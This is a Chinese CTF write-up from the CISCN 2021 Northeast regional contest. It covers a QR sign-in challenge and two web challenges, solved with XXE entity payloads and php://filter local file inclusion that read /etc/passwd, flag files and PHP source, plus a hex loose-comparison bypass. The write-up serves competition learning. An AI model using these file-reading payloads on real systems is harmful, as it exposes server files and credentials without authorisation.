ciscn2021东北赛区分区赛

ciscn2021东北赛区分区赛

++Spirit k1ling
感谢Dazz1e大佬陪我看了很久hh

summary

3720pt,rank11
晋级名单还没出,不过大概率是前10进,正好卡掉了,就差一步到罗马,真的意难平…
但是想想自己菜成这样全靠gs带也就释然了一些
这东西就跟S赛一样,今年没了你就要咽下所有的不甘,然后更加努力,等着明年杀回来
++Spirit绝不会止步于此
今年进第二轮之后改了个名,k某人想去ciscn决赛,去决赛之前不改名,不管哪年,flag立这了。

misc

签到

工具扫二维码即可

flag{this_is_flag!gogogo}

web

flagin

拿到题目,抓包发现表单内容是这样的

<user><username>1;</username><password>1</password></user>

怀疑是xxe

上payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

发现第一行被waf了,删掉

可以读到passwd,去读flag

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>

回显读取flag的姿势不对

换协议filter

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=///flag.txt">
]>

回显一段base64

ZmxhZ3s0OTc5MDBhYThmMmZjNTU3NmI0ZGEzZmNkNzhjMDA4ZH0=

flag{497900aa8f2fc5576b4da3fcd78c008d}

be careful

进去环境看到file=1.php

猜测也可以读文件

file=///etc/passwd

可以读到内容

读一下index.php,没回显

猜测又是协议问题,换filter

file=php://filter/read=convert.base64-encode/resource=index.php

读到了index.php的源码

<html>
    <title>I advise you to do good</title>
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=1.php">Be Careful</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,'F14ggg.php')||stristr($file,"input")||stristr($file,"data")){
        echo "I advise you to do good!";
        exit();
    }
    include($file); 
//real_flag.php
?>
</html>

可以看到不能路径穿越,不能ftp,不能直接访问flag等等

但是注释里面有一个real_flag.php

读一下

file=php://filter/read=convert.base64-encode/resource=real_flag.php

源码是这样的

<?php
include('F14ggg.php');
$a = $_GET['a'];
$one = ord('1'); 
$nine = ord('9'); 
$number = '69563214562';
for ($i = 0; $i < strlen($number); $i++)
{
	$digit = ord($a{$i});
    echo $digit;
	if ( ($digit >= $one) && ($digit <= $nine) )
	{
		echo 'wrong';
	}

	elseif($number == $a)
	{
		echo $flag;
	}
}
?>

可以看到,只要在11位长度之内,存在一位不是1-9之间的字符,并且使得$a与69563214562相等,即可echo $flag;

考虑hex绕过,原因有二:

  • hex前缀是0x,必然不在1-9之内
  • php可以比较16进制与10进制

因此请求 /real_flag.php?a=0x10324a6ae2

flag为

flag{ny2w6iezylnlamxfijufowhcpevjqdzd}

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值